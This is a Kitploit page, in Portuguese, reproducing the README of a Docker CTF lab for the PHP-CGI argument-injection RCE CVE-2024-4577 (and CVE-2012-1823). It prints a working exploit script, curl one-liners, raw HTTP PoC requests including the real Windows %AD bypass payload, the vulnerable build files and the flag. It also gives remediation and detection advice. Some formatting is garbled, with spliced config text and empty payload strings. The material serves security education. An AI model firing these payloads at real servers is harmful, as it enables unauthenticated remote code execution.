Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cve-2024-4577-lab — # Laboratório CTF baseado em Docker demonstrando CVE-2024-4577, injeção de argumentos PHP-CGI que leva a RCE. Inclui PHP 5.4.1 CGI vulnerável, scripts de exploração e recuperação de flag. | Kitploit
Ferramentas/GitHubGitHub/khwajasaad267-coder/cve-2024-4577-lab
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebCTFTestes de PenetraçãoAprendizado e EducaçãoLabs e Prática
GitHubkhwajasaad267-coder/cve-2024-4577-lab

cve-2024-4577-lab

# Laboratório CTF baseado em Docker demonstrando CVE-2024-4577, injeção de argumentos PHP-CGI que leva a RCE. Inclui PHP 5.4.1 CGI vulnerável, scripts de exploração e recuperação de flag.

Ver Repositório
há 1 diaAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2024-4577 — Injeção de Argumentos PHP-CGI → RCE (Laboratório Docker / CTF)

Um laboratório Docker autossuficiente, do zero, que demonstra o primitivo real de injeção de argumentos → Execução Remota de Código por trás da CVE-2024-4577. Explore-o via http://localhost:8080, obtenha um shell e leia a flag de dentro do contêiner.

Esta é uma vulnerabilidade genuína, não simulada. O contêiner compila um binário PHP 5.4.1 CGI sem patch e o conecta ao Apache exatamente da forma como hosts vulneráveis reais são configurados. Não há nenhum "if password == flag" falso em lugar algum — a única maneira de obter a flag é realmente alcançar a execução de código.


⚠️ Leia isto primeiro — Linux vs. Windows (importante e honesto)

O payload característico da CVE-2024-4577 usa %AD (um hífen suave). Esse truque só funciona no Windows, porque a codificação de caracteres "Best-Fit" do Windows converte o byte 0xAD em um - real () que o patch da CVE-2012-1823 do PHP já verificou a string de consulta. Essa conversão de codificação é feita pelo — ela

``` ## `config/php.ini````ini ; --------------------------------------------------------------------------- ; Minimal php.ini for the CVE-2024-4577 / CVE-2012-1823 lab. ; Read by php-cgi from PHP_CONFIG_FILE_PATH (/usr/local/lib) at startup. ; ---------------------------------------------------------------------------
0x2D
depois
próprio Windows
não acontece dentro de um contêiner Docker Linux normal.

Portanto, um laboratório Linux fiel e executável na sua máquina reproduz o mesmo primitivo exato de RCE — injeção de opções php-cgi através da URL → -d auto_prepend_file=php://input → execução de código — usando a forma literal - (que é o bug pai da CVE-2024-4577, a CVE-2012-1823). A única diferença em relação a um alvo real da CVE-2024-4577 no Windows é a camada de bypass de codificação %AD→-, que este README documenta por completo (veja Como funciona e poc.http).

Este laboratório LinuxCVE-2024-4577 real (Windows)
Componente vulnerávelphp-cgiphp-cgi
Primitivo de RCE-d auto_prepend_file=php://inputidêntico
Delimitador na URL- literal%AD (best-fit → -)
Contorna o patch de 2012?N/A (PHP anterior ao patch)Sim, via best-fit do Windows
Roda no Win 11 Home + Docker Desktop✅❌ (precisa de contêineres Windows)

Se você precisar especificamente da reprodução bit a bit do %AD no Windows, você precisa de um host Docker com suporte a contêineres Windows (Windows Server / Win Pro

  • Hyper-V) — ele não rodará no Windows 11 Home. O payload do Windows está incluído em poc.http para referência.

1. Descrição da CVE

CVE-2024-4577 — Injeção de Argumentos PHP CGI levando à Execução Remota de Código. Descoberta pela DEVCORE (Orange Tsai / Angelboy), divulgada em 2024-06-06.

Quando o PHP é implantado em modo CGI (ou o binário php-cgi.exe está de outra forma acessível) no Windows com certos locales de sistema (Chinês Tradicional/ Simplificado, Japonês e outros), o servidor web passa a string de consulta HTTP para php-cgi como argumentos de linha de comando. Um atacante pode contrabandear opções de linha de comando do php-cgi (-d ...) para dentro dessa string de consulta. A conversão de codepage best-fit do Windows transforma o byte de hífen suave 0xAD (%AD) em um hífen ASCII -, que escapa do endurecimento da CVE-2012-1823 e permite que o atacante defina diretivas INI arbitrárias do PHP — mais utilmente auto_prepend_file=php://input com allow_url_include=1, que executa o corpo da solicitação fornecida pelo atacante como PHP. Resultado: execução remota de código não autenticada. Foi armada na natureza em poucos dias (por exemplo, ransomware TellYouThePass).

2. Causa raiz

  1. O CGI passa a string de consulta como argv. De acordo com a RFC 3875, se a string de consulta de uma solicitação CGI contém nenhum = não codificado, o servidor a divide em +, decodifica cada palavra por URL e passa as palavras ao programa CGI como argumentos de linha de comando. O php-cgi portanto recebe argv controlado pelo atacante.

  2. O php-cgi analisa esses argv como opções. Historicamente, o php-cgi interpretava -d key=value, -T, etc. desse argv. Alimentar -d allow_url_include=1 -d auto_prepend_file=php://input faz o PHP executar o corpo da solicitação como código → CVE-2012-1823.

  3. A correção da CVE-2012-1823 é incompleta no Windows. O patch de 2012 adicionou uma proteção em sapi/cgi/cgi_main.c: aproximadamente "se a string de consulta (bruta) começa com - e não tem =, pule a análise de opções (skip_getopt)." Um atacante que envia um - literal agora é bloqueado.

  4. A codificação best-fit derrota a proteção (o bug de 2024). No Windows, o PHP converte a linha de comando usando o codepage do locale com mapeamento best-fit habilitado. O atacante envia %AD (byte 0xAD, hífen suave). No momento da verificação da proteção, o primeiro byte é 0xAD, não -, então skip_getopt não é definido. Depois, quando o PHP realmente constrói o argv, o Windows mapeia por best-fit 0xAD → -, então o getopt agora vê -d. A injeção de opções dispara depois da verificação que deveria impedi-la. Esse ordenamento verificar-depois-converter é toda a vulnerabilidade.

Neste laboratório Linux, os passos 1–2 são reproduzidos exatamente com um php-cgi que é anterior ao patch do passo 3, então a forma literal - funciona e demonstra o RCE idêntico. O passo 4 é a camada exclusiva do Windows, documentada mas não executada (o Linux não tem conversão best-fit).

3. Versões afetadas (CVE-2024-4577 real)

Corrigida em 8.3.8, 8.2.20, 8.1.29. Portanto, vulneráveis:

  • PHP 8.3.0 – 8.3.7
  • PHP 8.2.0 – 8.2.19
  • PHP 8.1.0 – 8.1.28
  • PHP 8.0.x, 7.x, 5.x — fim de vida, sem patch, também afetados

Condições: sistema operacional Windows; PHP rodando como CGI ou php-cgi.exe exposto (a configuração padrão do XAMPP no Windows é vulnerável); um locale afetado para o caminho best-fit. (O bug pai CVE-2012-1823 — o primitivo que este laboratório executa — afeta qualquer sistema operacional que rode um php-cgi anterior à correção de 2012 nesta configuração.)

4. Estrutura do projeto```

cve-2024-4577-lab/ ├── Dockerfile # builds the lab: compiles unpatched PHP 5.4.1 CGI + Apache ├── Dockerfile.vulhub # fallback: prebuilt vulnerable base image (if compile fails) ├── docker-compose.yml # one-command build+run, maps localhost:8080 -> 80 ├── start.sh # container entrypoint (Apache foreground) ├── exploit.sh # one-shot RCE PoC (bash + curl) ├── poc.http # raw HTTP requests (Linux payload + real Windows %AD payload) ├── app/ │ └── index.php # ordinary web page (NOT itself vulnerable) ├── config/ │ ├── apache-vhost.conf # the vulnerable Apache <-> php-cgi wiring │ └── php.ini # minimal php.ini (cgi.force_redirect=0, etc.) ├── flag.txt # the flag (copied to /flag.txt in the container) └── README.md # this file

root@kitploit:~
## 5. Pré-requisitos

- **Docker Desktop** (Windows/macOS) ou Docker Engine (Linux).
  Windows 11 Home: instale o Docker Desktop com o backend **WSL 2** (padrão).
  → https://www.docker.com/products/docker-desktop/
- `curl` para exploração (`curl.exe` já vem integrado no Windows 10/11; também está
  disponível no Git Bash / WSL / macOS / Linux).
- Acesso à internet **durante o build** (baixa o código-fonte do PHP 5.4.1).

## 6. Instruções de build

Abra um terminal na pasta `cve-2024-4577-lab/`.

### Opção A — docker compose (recomendada)```bash
docker compose up --build -d

Opção B — docker simples

Comando de build do docker:```bash docker build -t cve-2024-4577-lab .

root@kitploit:~
**comando docker run:**```bash
docker run --rm -d -p 8080:80 --name cve-2024-4577-lab cve-2024-4577-lab

O build compila o PHP a partir do código-fonte (~2–5 min na primeira vez). Se falhar na sua máquina (offline, sem toolchain, museum.php.net bloqueado), use a imagem base alternativa:

root@kitploit:~
docker build -f Dockerfile.vulhub -t cve-2024-4577-lab .
docker run --rm -d -p 8080:80 --name cve-2024-4577-lab cve-2024-4577-lab

7. Como verificar o serviço```bash

curl -s http://localhost:8080/ | head -n 20

root@kitploit:~
Você deve ver o HTML do **Portal de Status Interno da ACME** e, crucialmente:```
<li>PHP version: <code>5.4.1</code></li>
<li>SAPI: <code>cgi-fcgi</code></li>

SAPI: cgi-fcgi (ou seja, servido através de php-cgi) confirma que o componente vulnerável está no caminho da requisição. Verifique também os logs:```bash docker logs cve-2024-4577-lab

root@kitploit:~
## 8. Etapas de exploração

A string de consulta injetada (codificada em URL para que o Apache não veja **nenhum `=` literal** e,
portanto, a trate como argv CGI):```
?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input

which php-cgi parses as:``` -d allow_url_include=1 -d auto_prepend_file=php://input

root@kitploit:~
O **corpo da requisição** torna-se código-fonte PHP (lido via `php://input`) e é executado
*antes* de `index.php`.

### 8a. Mais fácil — executar o script```bash
bash exploit.sh http://localhost:8080
# custom command:
bash exploit.sh http://localhost:8080 "id; uname -a; cat /flag.txt"

8b. Manual — uma linha de curl (Linux / macOS / Git Bash / WSL / Windows curl.exe)```bash

curl -s -H "Content-Type: text/plain"
--data-binary ""
"http://localhost:8080/index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"

root@kitploit:~
> No **Windows PowerShell**, use `curl.exe` explicitamente (o `curl` do PowerShell é
> um alias para `Invoke-WebRequest` e distorce a string de consulta):
> ```powershell
> curl.exe -s -H "Content-Type: text/plain" `
>   --data-binary "<?php system('id; echo ===FLAG===; cat /flag.txt'); die(); ?>" `
>   "http://localhost:8080/index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
> ```

### 8c. Manual — HTTP bruto (Burp Repeater)

Consulte [`poc.http`](#poc-http). Cole a requisição #1 no Burp Repeater e envie.

## 9. Saída esperada```
[*] Target    : http://localhost:8080/index.php
[*] Injection : ?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input
[*] Command   : id; echo '=== /flag.txt ==='; cat /flag.txt
[*] Firing argument-injection request...
-----------------------------------------------------------------
[+] RCE as www-data on <container-id>
uid=33(www-data) gid=33(www-data) groups=33(www-data)
=== /flag.txt ===
FLAG{php_cgi_arg_injection_rce__cve_2024_4577__9f3c1a7e2b4d8c60}
-----------------------------------------------------------------
[*] Success if you see FLAG{...} above.

A linha uid=33(www-data) prova execução arbitrária de comandos do SO como o usuário do servidor web — isso é execução real de código, não uma string impressa.

10. Como recuperar a flag

A flag está em /flag.txt dentro do contêiner — fora da raiz web (/var/www/html), portanto não é acessível via HTTP. A única forma de lê-la é executar um comando via RCE:```bash bash exploit.sh http://localhost:8080 "cat /flag.txt"

root@kitploit:~
Bandeira:```
FLAG{php_cgi_arg_injection_rce__cve_2024_4577__9f3c1a7e2b4d8c60}

(Num CTF real, não lhe diriam o caminho — você executaria ls -la / através do RCE para encontrá-lo. Tente bash exploit.sh http://localhost:8080 "ls -la /".)

11. Comandos de limpeza```bash

compose

docker compose down

plain docker

docker stop cve-2024-4577-lab docker rm cve-2024-4577-lab # only if you did NOT use --rm

remove the image entirely

docker rmi cve-2024-4577-lab

nuke build cache too (optional)

docker builder prune -f

root@kitploit:~
---

## 🔬 Como o exploit funciona, passo a passo

1. **Cliente → Apache.** Você envia
   `POST /index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input`
   com um payload PHP no corpo da requisição.

2. **Roteamento do Apache.** `AddHandler application/x-httpd-php .php` +
   `Action application/x-httpd-php /cgi-bin/php-cgi` roteiam a requisição para o
   binário **php-cgi** (mod_actions + mod_cgi).

3. **Query string → argv (a regra do CGI).** O `mod_cgi` do Apache vê que a query
   string **não tem `=` sem codificação** (enviamos `%3d`, não `=`), então, de acordo com a RFC 3875, ele
   divide em `+`, decodifica cada palavra da URL e as passa para o php-cgi como `argv`:
   `-d`, `allow_url_include=1`, `-d`, `auto_prepend_file=php://input`.

4. **php-cgi processa as opções injetadas.** Este php-cgi (5.4.1, anterior à correção de 2012)
   **não tem o guard `skip_getopt`**, então ele processa as opções `-d` sem problemas:
   - `allow_url_include=1` — permite incluir PHP a partir de wrappers de stream.
   - `auto_prepend_file=php://input` — antes de executar o script solicitado,
     inclui e executa o **corpo da requisição** como PHP.

5. **O corpo é executado como código.** `php://input` é o seu corpo POST,
   `<?php system('id; cat /flag.txt'); die(); ?>`. Ele roda como o usuário do Apache
   (`www-data`), executa o comando do SO, imprime a saída e chama `die()`
   antes de `index.php` ser executado.

6. **Exfiltração da flag.** `system('cat /flag.txt')` lê `/flag.txt` (legível
   por `www-data`) e o retorna na resposta HTTP.

### Por que a vulnerabilidade existe (o "porquê" mais profundo)

- **O CGI confunde *argumentos* com *entrada do usuário*.** A convenção CGI dos anos 1990 de
  transformar uma query string em `argv` foi projetada para scripts de busca
  `<ISINDEX>`. Apontá-la para um interpretador como `php-cgi`, cujos `argv` são
  switches de configuração poderosos, é um erro de categoria: dados controlados pelo usuário
  viram configuração do programa.

- **`-d` é injeção remota de INI.** `php-cgi -d nome=valor` sobrescreve *qualquer* diretiva
  INI em tempo de execução, sobrescrevendo até mesmo um `php.ini` endurecido. `auto_prepend_file`
  + `allow_url_include` + o wrapper `php://input` se combinam em
  "execute o corpo da requisição", ou seja, RCE.

- **O CVE-2024-4577 especificamente** existe porque a correção do CVE-2012-1823 verifica a
  query string em busca de um `-` inicial **antes** de o Windows realizar sua conversão de
  codificação **best-fit**. O atacante envia `%AD` (hífen suave); ele não é `-`
  quando a verificação roda, então o guard passa, mas o Windows depois mapeia por best-fit
  `0xAD → 0x2D (-)`, reintroduzindo o `-` após a barreira. **Ordem verificar-depois-transformar**
  + uma codificação dependente de locale e com perdas = um bypass do patch.

---

## 🛡️ Por que este desafio resiste a "apenas adivinhar a flag" / atalhos de IA

- A flag **não está na raiz web** e **não é referenciada por `index.php`**,
  então nenhuma quantidade de crawling, fuzzing ou leitura do código-fonte do app a revela.
- **Não há backdoor lógico** (sem `if (input === flag)`), então um solucionador não pode
  reverter uma comparação — a flag só aparece no stdout de um processo **após
  execução real de comandos do SO**.
- Recuperá-la **exige realizar o exploit real de injeção de argumentos**:
  codificar corretamente `=` como `%3d`, manter `-` como delimitador de opção e
  entregar o payload via `php://input`. Erre qualquer passo e você recebe a
  página benigna da ACME, não a flag.
- O token é uma **string aleatória de alta entropia**, não uma palavra adivinhável.

---

## Remediação no mundo real

- Atualize o PHP para **≥ 8.3.8 / 8.2.20 / 8.1.29**.
- **Não execute PHP como CGI.** Use PHP-FPM / mod_php.
- No Windows/XAMPP, remova os mapeamentos `ScriptAlias`/handler que expõem
  `php-cgi.exe`; bloqueie requisições em que a query string comece com um
  hífen suave codificado; negue `%AD` na query string no WAF.
- Detecção: logs web com query strings contendo `%AD`, `auto_prepend_file`,
  `allow_url_include` ou `php://input`.

---

# APÊNDICE — todos os arquivos, na íntegra

Tudo abaixo é o código-fonte completo de cada arquivo, para que este único documento
seja totalmente autocontido.

## `Dockerfile````dockerfile
# =============================================================================
#  CVE-2024-4577 LAB  —  PHP-CGI argument injection -> Remote Code Execution
#  Linux reproduction of the argument-injection primitive that CVE-2024-4577
#  revives on Windows. (See README.md, section "Linux vs. Windows".)
#
#  Strategy: compile the *unpatched* PHP 5.4.1 CGI SAPI from source. 5.4.1
#  predates the CVE-2012-1823 fix, so php-cgi accepts command-line options
#  (-d ...) supplied through the HTTP query string. Apache hands the query
#  string to php-cgi as argv (CGI spec) -> attacker-controlled -d options ->
#  auto_prepend_file=php://input -> RCE. This is the exact primitive that
#  CVE-2024-4577 reaches on Windows by best-fit-decoding %AD into '-'.
# =============================================================================
FROM debian:bullseye

ENV DEBIAN_FRONTEND=noninteractive
ENV PHP_VERSION=5.4.1

# ---- 1. Build toolchain + Apache -------------------------------------------
RUN set -eux; \
    apt-get update; \
    apt-get install -y --no-install-recommends \
        ca-certificates wget bzip2 xz-utils \
        build-essential pkg-config autoconf \
        libxml2-dev \
        apache2; \
    rm -rf /var/lib/apt/lists/*

# ---- 2. Download + compile the vulnerable PHP 5.4.1 CGI binary --------------
#   CFLAGS -fcommon : gcc-10 (bullseye) defaults to -fno-common, which breaks
#                     linking of old PHP's tentative-definition globals.
#   touch <files>   : keep the tarball's PRE-GENERATED parser/scanner files
#                     newer than their .y/.l sources so `make` never invokes
#                     bison/re2c (modern bison 3.x cannot rebuild PHP 5.4).
RUN set -eux; \
    cd /usr/src; \
    ( wget -q -O php.tar "https://museum.php.net/php5/php-${PHP_VERSION}.tar.gz" \
      || wget -q -O php.tar "https://museum.php.net/php5/php-${PHP_VERSION}.tar.bz2" ); \
    tar -xf php.tar; \
    cd "php-${PHP_VERSION}"; \
    for f in \
        Zend/zend_language_parser.c Zend/zend_language_parser.h \
        Zend/zend_language_scanner.c \
        Zend/zend_ini_parser.c Zend/zend_ini_parser.h \
        Zend/zend_ini_scanner.c \
        ext/date/lib/parse_date.c ext/date/lib/parse_iso_intervals.c \
        ext/standard/var_unserializer.c ext/standard/url_scanner_ex.c ; do \
        if [ -f "$f" ]; then touch "$f"; fi; \
    done; \
    CFLAGS="-O2 -fcommon" ./configure \
        --enable-cgi \
        --disable-all \
        --without-pear; \
    make -j"$(nproc)"; \
    make install; \
    cp -v /usr/local/bin/php-cgi /usr/lib/cgi-bin/php-cgi; \
    chmod 0755 /usr/lib/cgi-bin/php-cgi; \
    /usr/local/bin/php-cgi -v; \
    cd /; rm -rf /usr/src/php*

# ---- 3. PHP + Apache configuration -----------------------------------------
COPY config/php.ini               /usr/local/lib/php.ini
COPY config/apache-vhost.conf     /etc/apache2/sites-available/000-default.conf

RUN set -eux; \
    a2dismod mpm_event mpm_worker || true; \
    a2enmod mpm_prefork cgi actions alias; \
    printf 'ServerName localhost\n' > /etc/apache2/conf-available/servername.conf; \
    a2enconf servername

# ---- 4. Application + flag ---------------------------------------------------
COPY app/index.php  /var/www/html/index.php
COPY flag.txt       /flag.txt
RUN chmod 0644 /flag.txt /var/www/html/index.php

# ---- 5. Launch ---------------------------------------------------------------
COPY start.sh /start.sh
# Strip any CR (in case the file was saved with Windows CRLF endings) and make
# it executable, so the entrypoint runs regardless of how it was checked out.
RUN sed -i 's/\r$//' /start.sh && chmod +x /start.sh
EXPOSE 80
CMD ["/start.sh"]

`Dockerfile.vulhub````dockerfile

=============================================================================

FALLBACK Dockerfile — use ONLY if the from-source build in ./Dockerfile

fails on your machine (e.g. no build toolchain, offline, museum.php.net

unreachable).

It bases on Vulhub's pre-compiled PHP 5.4.1 CGI image, which already wires

Apache + php-cgi in the same vulnerable way, then drops in our app + flag.

To use it:

docker build -f Dockerfile.vulhub -t cve-2024-4577-lab .

docker run --rm -p 8080:80 cve-2024-4577-lab

or edit docker-compose.yml: dockerfile: Dockerfile.vulhub

NOTE: this pulls a third-party base image, so it is less "from scratch"

than ./Dockerfile. The exploit and README steps are identical.

=============================================================================

FROM vulhub/php:5.4.1-cgi

COPY app/index.php /var/www/html/index.php COPY flag.txt /flag.txt RUN chmod 0644 /flag.txt /var/www/html/index.php EXPOSE 80

root@kitploit:~
## `docker-compose.yml````yaml
# docker-compose.yml — CVE-2024-4577 lab
# Run with:  docker compose up --build
services:
  web:
    build:
      context: .
      dockerfile: Dockerfile          # <- swap to Dockerfile.vulhub if the source build fails
    image: cve-2024-4577-lab:latest
    container_name: cve-2024-4577-lab
    ports:
      - "8080:80"                      # host 8080 -> container 80
    restart: unless-stopped

`config/apache-vhost.conf````apache

<VirtualHost *:80> ServerName localhost DocumentRoot /var/www/html

root@kitploit:~
# ---------------------------------------------------------------------
# Expose the (vulnerable) php-cgi binary as a CGI script.
# ---------------------------------------------------------------------
ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
<Directory "/usr/lib/cgi-bin">
    AllowOverride None
    Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
    Require all granted
</Directory>

# ---------------------------------------------------------------------
# Route every *.php request through php-cgi via mod_actions.
#
# THE BUG:  Per the CGI spec, when a query string contains no unencoded
# '=' , Apache splits it on '+' and passes the words to the CGI program
# as command-line arguments (argv). Because this php-cgi (5.4.1) predates
# the CVE-2012-1823 fix, those argv are parsed as php-cgi OPTIONS, so an
# attacker can inject  -d <ini>=<value>  straight from the URL.
# ---------------------------------------------------------------------
<Directory /var/www/html>
    Options +ExecCGI FollowSymLinks
    AddHandler application/x-httpd-php .php
    Action application/x-httpd-php /cgi-bin/php-cgi
    DirectoryIndex index.php
    Require all granted
</Directory>

ErrorLog  ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined

; php-cgi refuses to run under a web server unless force_redirect is satisfied. ; Turning it off keeps the CGI SAPI happy behind Apache's Action handler. cgi.force_redirect = 0 cgi.fix_pathinfo = 1

display_errors = On display_startup_errors = On log_errors = On

; Realistic defaults. Note allow_url_include is OFF here on purpose — the ; exploit RE-ENABLES it at runtime through the injected -d allow_url_include=1 ; option, which is the whole point of the argument-injection primitive. allow_url_fopen = On allow_url_include = Off

short_open_tag = On

root@kitploit:~
## `start.sh````bash
#!/bin/bash
# ---------------------------------------------------------------------------
#  Container entrypoint: start Apache (with the vulnerable php-cgi) in the
#  foreground so the container stays alive and logs stream to `docker logs`.
# ---------------------------------------------------------------------------
set -e

# Pull in APACHE_RUN_USER / APACHE_LOG_DIR / APACHE_PID_FILE etc.
# shellcheck disable=SC1091
source /etc/apache2/envvars

mkdir -p /var/run/apache2
rm -f "${APACHE_PID_FILE:-/var/run/apache2/apache2.pid}"

echo "==============================================================="
echo " CVE-2024-4577 LAB"
php-cgi -v 2>/dev/null | head -n1 | sed 's/^/ /'
echo " Web app : http://localhost:8080/"
echo " Exploit : ./exploit.sh http://localhost:8080"
echo "==============================================================="

exec apache2 -D FOREGROUND

`exploit.sh````bash

#!/usr/bin/env bash

===========================================================================

exploit.sh - CVE-2024-4577 / CVE-2012-1823 php-cgi argument-injection RCE

Usage: ./exploit.sh [target_url] [shell_command]

Examples:

./exploit.sh

./exploit.sh http://localhost:8080

./exploit.sh http://localhost:8080 "id; uname -a; cat /flag.txt"

Requires bash + curl (curl.exe ships with Windows 10/11; also Git Bash,

WSL, macOS, Linux).

===========================================================================

set -euo pipefail

TARGET="${1:-http://localhost:8080}" CMD="${2:-id; echo '=== /flag.txt ==='; cat /flag.txt}"

Injected php-cgi command-line options, URL-encoded so Apache treats the

query string as CGI argv (it must contain NO literal '=' -> we send %3d):

-d allow_url_include=1 enable including php:// streams

-d auto_prepend_file=php://input run the request body as PHP first

QUERY='-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input'

PHP payload delivered in the request body and read back via php://input.

die() stops execution before index.php's HTML so the output stays clean.

BODY=""

echo "[] Target : ${TARGET}/index.php" echo "[] Injection : ?${QUERY}" echo "[] Command : ${CMD}" echo "[] Firing argument-injection request..." echo "-----------------------------------------------------------------"

curl -sS
-H 'Content-Type: text/plain'
--data-binary "${BODY}"
"${TARGET}/index.php?${QUERY}"

echo echo "-----------------------------------------------------------------" echo "[*] Success if you see FLAG{...} above."

root@kitploit:~
## `app/index.php````php
<?php
// ---------------------------------------------------------------------------
// index.php  —  an intentionally ORDINARY application page.
//
// IMPORTANT: the vulnerability is NOT in this file. This app has no bug of
// its own. The RCE comes entirely from the Apache + php-cgi configuration
// (CVE-2024-4577 / CVE-2012-1823 argument injection). This page only exists
// so the container serves something realistic through the vulnerable php-cgi.
// ---------------------------------------------------------------------------
$host = php_uname('n');
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <title>ACME Internal Status Portal</title>
    <style>
        body{font-family:system-ui,Arial,sans-serif;max-width:640px;margin:60px auto;color:#222}
        code{background:#f2f2f2;padding:2px 5px;border-radius:4px}
        .ok{color:#2a7f2a;font-weight:bold}
    </style>
</head>
<body>
    <h1>ACME Internal Status Portal</h1>
    <p>Service status: <span class="ok">ONLINE</span></p>
    <ul>
        <li>Host: <code><?php echo htmlspecialchars($host); ?></code></li>
        <li>PHP version: <code><?php echo phpversion(); ?></code></li>
        <li>SAPI: <code><?php echo php_sapi_name(); ?></code></li>
        <li>Server time: <code><?php echo date('Y-m-d H:i:s'); ?></code></li>
    </ul>
    <p>Everything looks fine here. Nothing to see. &#128522;</p>
</body>
</html>

`poc.http````http

###############################################################################

Raw HTTP PoC requests. Paste into Burp Repeater, or replay with any client.

(Content-Length is recalculated automatically by Burp/Repeater.)

###############################################################################

1) LINUX LAB PAYLOAD — works against this container.

PHP 5.4.1 is pre-CVE-2012-1823-fix, so a LITERAL '-' is accepted.

POST /index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1 Host: localhost:8080 Content-Type: text/plain Content-Length: 44 Connection: close

2) REAL-WORLD CVE-2024-4577 PAYLOAD — WINDOWS TARGETS ONLY.

0xAD (soft hyphen, %AD) is best-fit-converted to '-' by Windows AFTER the

CVE-2012-1823 patch's check runs, so it BYPASSES the fix. This does NOT

trigger on the Linux container (Linux has no best-fit conversion).

POST /index.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1 Host: victim-windows Content-Type: text/plain Content-Length: 30 Connection: close

root@kitploit:~
## `flag.txt````
FLAG{php_cgi_arg_injection_rce__cve_2024_4577__9f3c1a7e2b4d8c60}

Referências

  • Aviso da DEVCORE — "CVE-2024-4577 · PHP CGI Argument Injection" (2024-06).
  • Commits de correção de segurança do PHP para 8.1.29 / 8.2.20 / 8.3.8 (sapi/cgi/cgi_main.c).
  • CVE-2012-1823 — a vulnerabilidade de injeção de argumentos original que este laboratório reproduz.
  • RFC 3875 — The Common Gateway Interface (CGI) Version 1.1, §4.4 (linha de comando).

Apenas para uso autorizado em educação de segurança / CTF.

Baixar ferramenta